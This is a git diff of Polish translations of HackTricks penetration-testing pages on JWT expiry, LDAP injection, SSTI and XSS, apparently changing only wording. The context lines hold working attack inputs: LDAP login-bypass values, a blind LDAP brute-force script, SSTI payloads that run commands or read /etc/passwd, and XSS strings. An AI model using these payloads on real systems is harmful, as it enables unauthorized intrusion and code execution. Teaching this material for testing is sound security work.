* Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie pozwala na podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest konieczna, ponieważ może to wprowadzać w szare obszary prawne.
|
||||
|
||||
**Sprawdzanie ważności tokenów**
|
||||
**Sprawdzanie wygaśnięcia tokenów**
|
||||
|
||||
Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc pod uwagę, że JWT są często używane bez informacji o sesji, wymagana jest ostrożna obsługa. W wielu przypadkach przechwycenie i ponowne odtworzenie tokena innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków ponownego odtwarzania JWT poprzez wykorzystanie zgłoszenia "exp" do ustawienia czasu wygaśnięcia tokena. Ponadto wdrożenie odpowiednich kontroli przez aplikację w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów jest kluczowe. Jeśli token zawiera zgłoszenie "exp" i limity czasowe testowania na to pozwalają, zaleca się przechowywanie tokena i ponowne odtwarzanie go po upływie czasu ważności. Zawartość tokena, w tym analiza znaczników czasowych i sprawdzanie ważności (znacznik czasu w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
|
||||
Wygaśnięcie tokena jest sprawdzane za pomocą zgłoszenia "exp" Payload. Biorąc pod uwagę, że JWT są często używane bez informacji o sesji, wymagana jest ostrożna obsługa. W wielu przypadkach przechwycenie i ponowne odtworzenie tokena innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków ponownego odtwarzania JWT poprzez wykorzystanie zgłoszenia "exp" do ustawienia czasu wygaśnięcia tokena. Ponadto wdrożenie odpowiednich kontroli przez aplikację w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów jest kluczowe. Jeśli token zawiera zgłoszenie "exp" i limity czasowe testowania na to pozwalają, zaleca się przechowywanie tokena i ponowne odtworzenie go po upływie czasu wygaśnięcia. Zawartość tokena, w tym analiza znaczników czasowych i sprawdzanie wygaśnięcia (znacznik czasu w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
|
||||
|
||||
* Może występować ryzyko bezpieczeństwa, jeśli aplikacja nadal weryfikuje token, ponieważ może to sugerować, że token nigdy nie może wygasnąć.
|
||||
|
||||
|
@ -260,9 +260,9 @@ Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość polskiego w mowie i piśmie wymagana_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -272,11 +272,11 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,16 +8,16 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -50,8 +50,8 @@ Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co ni
|
|||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = Absolutna PRAWDA\
|
||||
**(|)** = Absolutna FAŁSZ
|
||||
**(&)** = Absolutne PRAWDA\
|
||||
**(|)** = Absolutne FAŁSZ
|
||||
|
||||
Na przykład:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
@ -73,9 +73,9 @@ Przykład: `(&(directory=val1)(folder=public))`
|
|||
|
||||
Następnie: `(&(objectClass=`**`*)(ObjectClass=*))`** będzie pierwszym filtrem (tym, który zostanie wykonany).
|
||||
|
||||
### Bypass logowania
|
||||
### Login Bypass
|
||||
|
||||
LDAP obsługuje kilka formatów przechowywania hasła: clear, md5, smd5, sh1, sha, crypt. Tak więc, może się zdarzyć, że niezależnie od tego, co wprowadzisz w haśle, zostanie ono zhashowane.
|
||||
LDAP obsługuje kilka formatów do przechowywania hasła: clear, md5, smd5, sh1, sha, crypt. Może się zdarzyć, że niezależnie od tego, co wprowadzisz w haśle, zostanie ono zhashowane.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -134,7 +134,7 @@ password=any
|
|||
|
||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||
* [Atrybuty LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||
* [Atrybuty LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
* [Atrybuty PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### Ślepa Iniekcja LDAP
|
||||
|
||||
|
@ -167,7 +167,7 @@ Możesz iterować po literach ASCII, cyfrach i symbolach:
|
|||
|
||||
#### **Odkryj ważne pola LDAP**
|
||||
|
||||
Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być używane do **zapisywania informacji**. Możesz spróbować **brute-force'ować wszystkie z nich, aby wyodrębnić te informacje.** Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być używane do **zapisywania informacji**. Możesz spróbować **brute-forcować wszystkie z nich, aby wydobyć te informacje.** Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -220,13 +220,13 @@ break
|
|||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Więcej ładunków
|
||||
### Więcej Payloadów
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -239,8 +239,8 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -31,7 +31,7 @@ Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozwa
|
|||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||
|
||||
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
|
||||
```
|
||||
|
@ -45,7 +45,7 @@ Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, dewel
|
|||
|
||||
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzing szablonu** jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
|
||||
|
||||
* Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
||||
* Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
||||
* Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
|
||||
* **Kontekst tekstowy**: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
|
||||
* **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w `greeting=data.username}}hello`, zwracając nazwę użytkownika.
|
||||
|
@ -221,9 +221,9 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Obchodzenie filtrów**
|
||||
**Ominięcie filtrów**
|
||||
|
||||
Można używać wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
|
||||
Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
|
||||
|
||||
* Przeczytaj `/etc/passwd`
|
||||
```java
|
||||
|
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Inne NodeJS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* Więcej informacji w [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
@ -778,7 +778,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Sprawdź następującą stronę, aby poznać sztuczki dotyczące **wykonywania dowolnych poleceń omijających piaskownice** w pythonie:
|
||||
Sprawdź następującą stronę, aby poznać sztuczki dotyczące **wykonywania dowolnych poleceń z ominięciem piaskownic** w pythonie:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -788,7 +788,7 @@ Sprawdź następującą stronę, aby poznać sztuczki dotyczące **wykonywania d
|
|||
|
||||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} = Error`
|
||||
* `{{foobar}} = Błąd`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
```python
|
||||
{% raw %}
|
||||
|
@ -814,7 +814,7 @@ Sprawdź następującą stronę, aby poznać sztuczki dotyczące **wykonywania d
|
|||
|
||||
[Oficjalna strona](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na podstawie BSD.
|
||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na zasadach BSD.
|
||||
|
||||
* `{{7*7}} = Błąd`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -939,9 +939,9 @@ Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
|
|||
```
|
||||
### SSTI w GO
|
||||
|
||||
W silniku szablonów Go, potwierdzenie jego użycia można uzyskać za pomocą konkretnych ładunków:
|
||||
W silniku szablonów Go, potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych ładunków:
|
||||
|
||||
* `{{ . }}`: Odkrywa strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutem `Password`, `{{ .Password }}` może go ujawnić.
|
||||
* `{{ . }}`: Odsłania strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutem `Password`, `{{ .Password }}` może go ujawnić.
|
||||
* `{{printf "%s" "ssti" }}`: Oczekiwane jest wyświetlenie ciągu "ssti".
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dalsze dyrektywy można zbadać w dokumentacji Go [tutaj](https://golang.org/pkg/text/template).
|
||||
|
||||
|
@ -955,7 +955,7 @@ vbnet Copy code
|
|||
|
||||
**Wykorzystanie RCE**
|
||||
|
||||
Wykorzystanie RCE znacznie różni się między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
|
||||
Wykorzystanie RCE znacznie różni się między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości „call”), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Dla RCE przez SSTI w Go, można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj dostęp do kodu źródłowego jest konieczny, aby to wykorzystać, jak w podanym przykładzie:
|
||||
```go
|
||||
|
@ -1016,8 +1016,8 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -18,12 +18,12 @@ Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co
|
|||
3. Czy możesz obejść zabezpieczenia?
|
||||
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Wewnątrz **tagu HTML**:
|
||||
2. W **tagu HTML**:
|
||||
1. Czy możesz wyjść do kontekstu surowego HTML?
|
||||
2. Czy możesz tworzyć nowe zdarzenia/atrybuty, aby wykonać kod JS?
|
||||
3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
|
||||
4. Czy możesz obejść zabezpieczenia?
|
||||
3. Wewnątrz **kodu JavaScript**:
|
||||
3. W **kodzie JavaScript**:
|
||||
1. Czy możesz uciec z tagu `<script>`?
|
||||
2. Czy możesz uciec ze stringu i wykonać inny kod JS?
|
||||
3. Czy twoje dane wejściowe są w szablonowych literałach \`\`?
|
||||
|
@ -56,7 +56,7 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
|
|||
Jeśli twoje dane wejściowe są **odzwierciedlane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
|
||||
Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Wewnątrz atrybutu tagu HTML
|
||||
### W atrybucie tagów HTML
|
||||
|
||||
Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu tagu, możesz spróbować:
|
||||
|
||||
|
@ -65,7 +65,7 @@ Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu ta
|
|||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **czy kontrolujesz całą wartość, czy tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
||||
Dziwny przykład Angular wykonującego XSS, jeśli kontrolujesz nazwę klasy:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -73,10 +73,10 @@ Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
|||
```
|
||||
### Inside JavaScript code
|
||||
|
||||
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
|
||||
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
|
||||
|
||||
* Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
|
||||
* Jeśli jest odzwierciedlany **wewnątrz stringu JS** i ostatni trik nie działa, musisz **wyjść** ze stringu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany):
|
||||
* Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakichkolwiek cudzysłowach, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
|
||||
* Jeśli jest odzwierciedlany **wewnątrz ciągu JS** i ostatni trik nie działa, musisz **wyjść** z ciągu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -118,11 +118,11 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Możesz także spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
|
||||
Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
|
||||
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji.
|
